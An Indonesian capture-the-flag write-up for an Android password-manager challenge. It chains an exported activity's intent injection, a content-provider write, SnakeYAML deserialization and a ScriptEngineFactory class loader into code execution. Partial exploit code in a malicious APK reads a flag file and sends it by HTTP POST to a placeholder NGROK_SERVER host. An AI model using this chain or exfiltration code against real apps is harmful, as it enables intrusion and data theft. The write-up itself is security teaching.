Challenge ini adalah sebuah aplikasi Password Manager yang memiliki sebuah activity bernama CalculatorActivity. Activity ini melakukan operasi matematika sederhana dan memiliki intent yang exported="true", yang berarti dapat diakses oleh aplikasi lain tanpa memerlukan permission.
Pada activity ini terdapat sebuah exception yang terjadi ketika melakukan pembagian dengan angka 0. Exception ini dapat digunakan untuk bypass operasi matematika yang seharusnya dilakukan. Ketika exception terjadi, dia akan melakukan setResult(-1, i) yang dimana nilai i adalah Intent i = getIntent();, yang memungkinkan kita untuk melakukan intent injection.
Dengan memanfaatkan bug ini, kita dapat menulis ke content provider untuk membuat file pwds.yml dan mal.apk di folder /files/. File pwds.yml akan diload oleh snakeyaml, yang memiliki kemampuan untuk melakukan deserialization. Kita dapat memanfaatkan deserialization ini untuk menjalankan gadget dari ScriptEngineManager, yang dapat dikombinasikan dengan CustomClassLoader dalam mal.apk. Hal ini memungkinkan kita untuk melakukan remote code execution pada aplikasi ini dengan meload mal.apk yang telah kita buat.
Description
It’s a Password Manager, what could go wrong (again)?
The infrastructure being used is based on our Mobile POC Tester (https://github.com/TCP1P/Mobile-POC-Tester ). You will need to create your exploit application that will be executed in the server. You can check client_dist.py for more information on how the automation for this challenge runs.
APK-nya adalah aplikasi Password Manager. Kita bisa mendekompilasi menggunakan jadx untuk melihat kode sumbernya. Aplikasi ini hanya memiliki password manager didalamnya yang dimana ketika kita melakukan Happy Flow pada aplikasinya, kita bisa memasukan kata sandi baru kedalam aplikasi ini dan nantinya kata sandi itu akan disimpan pada internal storage pada android kita.
Struktur dari aplikasi ini adalah sebagai berikut:
Ketika kita perhatikan pada activity com.aimardcr.pwdmanager.ui.pwd.PwdFragment kita bisa melihat bahwa dia menggunakan snakeyaml untuk load file pwds.yml:
Dia tidak menggunakan SafeConstructor yang dimana bisa membatasi class yang bisa di-deserialize. Jadi kita bisa melakukan deserialization gadget chaining untuk melakukan remote code execution. Tetapi kita tidak tahu bagaimana cara write file pwds.yml ini.
Content Provider
Kita bisa melihat bahwa aplikasi ini memiliki sebuah content provider yang bisa kita akses dengan content://com.aimardcr.pwdmanager:
Tapi kita tidak bisa mengakses content provider ini karena exported="false", yang artinya content provider ini hanya bisa diakses oleh aplikasi ini sendiri.
CalculatorActivity
Jika kita melihat AndroidManifest.xml, kita bisa melihat bahwa aplikasi ini memiliki activity yang bernama CalculatorActivity yang dimana memiliki exported="true":
exported="true" artinya bahwa activity tersebut bisa diakses oleh aplikasi lain tanpa memerlukan permission. Hal ini merupakan risiko keamanan karena aplikasi lain bisa menjalankan activity ini tanpa memerlukan permission.
Berikut ini adalah source code dari CalculatorActivity:
/* loaded from: classes3.dex */ publicclassCalculatorActivityextendsActivity { @Override// android.app.Activity publicvoidonCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_calculator); Intenti= getIntent(); try { intleft= i.getIntExtra("left", 4); intright= i.getIntExtra("right", 2); charoperator= i.getCharExtra("operator", '+'); intresult=0; switch (operator) { case'*': result = left * right; break; case'+': result = left + right; break; case'-': result = left - right; break; case'/': result = left / right; break; } setResult(0, newIntent().putExtra("result", result)); } catch (Exception e) { setResult(-1, i); } finish(); } }
Seperti yang bisa kita lihat pada kode diatas, CalculatorActivity menerima 3 parameter: left, right, dan operator. Kemudian melakukan perhitungan berdasarkan operator dan mereturn hasilnya. Hasilnya kemudian dikirim kembali ke caller activity.
Tapi ada sebuah exception yang dimana jika kita melakukan pembagian dengan angka 0, maka akan terjadi exception dan dia akan mereturn setResult(-1, i) yang dimana nilai i adalah Intent i = getIntent();, yang memungkinkan kita untuk melakukan intent injection.
CustomClassLoader
Kita bisa melihat bahwa aplikasi ini memiliki sebuah class yang bernama CustomClassLoader yang dimana bisa kita gunakan untuk melakukan load class dari apk yang kita buat:
Tapi ini hanya bisa melakukan load saja dan tidak bisa melakukan execute class yang kita load.
ScriptEngineManager
Kita bisa melihat bahwa aplikasi ini memiliki library javax.script yang dimana bisa kita gunakan untuk melakukan execute class yang kita load, karena didalam argument dari ScriptEngineManager dia menerima ClassLoader:
Dari kode diatas, kita bisa melihat bahwa ScriptEngineManager menerima ClassLoader sebagai argument dan dia akan melakukan invoke dari class yang kita load dari ClassLoader tersebut.
Pada bagian initEngines ini, CustomClassLoader akan digunakan untuk mencari dan memuat semua class yang mengimplementasikan ScriptEngineFactory. Jika salah satu class dalam mal.apk mengimplementasikan interface tersebut, maka constructor dari class tersebut akan dipanggil saat baris berikut dieksekusi:
Yang berarti kita perlu membuat constructor yang akan menerapkan interface ScriptEngineFactory dan mengimplementasikan semua metode yang diperlukan, dan kemudian memanggil CustomClassLoader didalam ScriptEngineManager untuk meng-eksekusi constructor tersebut.
Kode diatas akan memuat semua class yang mengimplementasikan ScriptEngineFactory dari mal.apk dan memanggil constructor dari class tersebut.
Exploitation
Dari CalculatorActivity Ini bisa kita manfaatkan untuk mengakses content provider yang sebelumnya tidak bisa kita akses. Kita bisa membypass content provider yang memiliki exported="false" dengan menggunakan FLAG_GRANT_WRITE_URI_PERMISSION untuk write file dan atau FLAG_GRANT_READ_URI_PERMISSION untuk read file pada intent yang kita kirimkan.
Dapat diperhatikan bahwa kita menggunakan FLAG_GRANT_WRITE_URI_PERMISSION untuk menulis file pwds.yml dan FLAG_GRANT_READ_URI_PERMISSION untuk membaca file pwds.yml. Dan kita bisa melihat bahwa kita menulis payload yaml yang dimana akan di-load oleh SnakeYAML:
Payload ini akan melakukan load class dari mal.apk yang mengimplementasikan ScriptEngineFactory dan kemudian memanggil constructor dari class tersebut.
Kemudian kita bisa membuat mal.apk yang mengimplementasikan ScriptEngineFactory:
// Static block to trigger the exploit and send the flag static { try { sendRequest("http://NGROK_SERVER/trigger"); System.out.println("Triggered the exploit");
// Function to read the flag file privatestatic String readFlagFile(String directoryPath) { try { Pathdir= Paths.get(directoryPath); try (DirectoryStream<Path> stream = Files.newDirectoryStream(dir, "flag*.txt")) { for (Path entry : stream) { returnnewString(Files.readAllBytes(entry)); // Return the first match } } } catch (IOException e) { System.err.println("Failed to read flag file: " + e.getMessage()); } returnnull; }
// Function to send the flag content to the server privatestaticvoidsendFlagToServer(String serverUrl, String flagContent)throws Exception { URLurl=newURL(serverUrl); HttpURLConnectionconnection= (HttpURLConnection) url.openConnection(); connection.setRequestMethod("POST"); connection.setDoOutput(true); connection.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
@Override public String getProgram(String... statements) { StringBuilderprogram=newStringBuilder(); for (String statement : statements) { program.append(statement).append(";\n"); } return program.toString(); }
@Override public ScriptEngine getScriptEngine() { returnnull; } }
Dapat diperhatikan pada kode diatas bahwa kita melakukan HTTP GET request ke http://NGROK_SERVER/trigger dan membaca file flag yang berawalan flag dan mengirimkan isinya ke http://NGROK_SERVER/flag.
Tetapi hal yang paling penting adalah dikode diatas melakukan implementasi dari ScriptEngineFactory yang dimana akan dipanggil oleh ScriptEngineManager untuk melakukan remote code execution.
Kemudian kita bisa merubah hasil build dari mal.apk dengan menggunakan apktool lalu rubah isi dari META-INF/services/javax.script.ScriptEngineFactory menjadi com.lbyte.mal.BadScriptEngineFactory dan kemudian kita rebuild apk tersebut, agar ketika dijalankan ScriptEngineManager akan memanggil class BadScriptEngineFactory yang kita buat.
Selanjutnya adalah untuk melakukan write mal.apk ini ke dalam folder /files/, kita bisa mengconvert file mal.apk ini ke dalam hex dan kemudian menconvert kembali hexnya ke dalam binary dan kemudian menulisnya ke dalam file mal.apk, berikut ini python scriptnya:
// Optionally write to the original URI as well ContentResolvercontentResolver=this.getContentResolver(); OutputStreamoutputStream= contentResolver.openOutputStream(uri); if (outputStream != null) { outputStream.write(apkBytes); outputStream.close(); Log.d(": LOG - Malicious :", "Binary APK written to the provided URI"); } } catch (Exception e) { e.printStackTrace(); } }
Berikut ini repository untuk full solver dari challenge ini:
Repo untuk melakukan write file pwds.yml dan mal.apk: write-files .
Repo untuk membuat mal.apk yang mengimplementasikan ScriptEngineFactory: malicious-apk .
Dan berikut ini adalah build dari kedua repo diatas: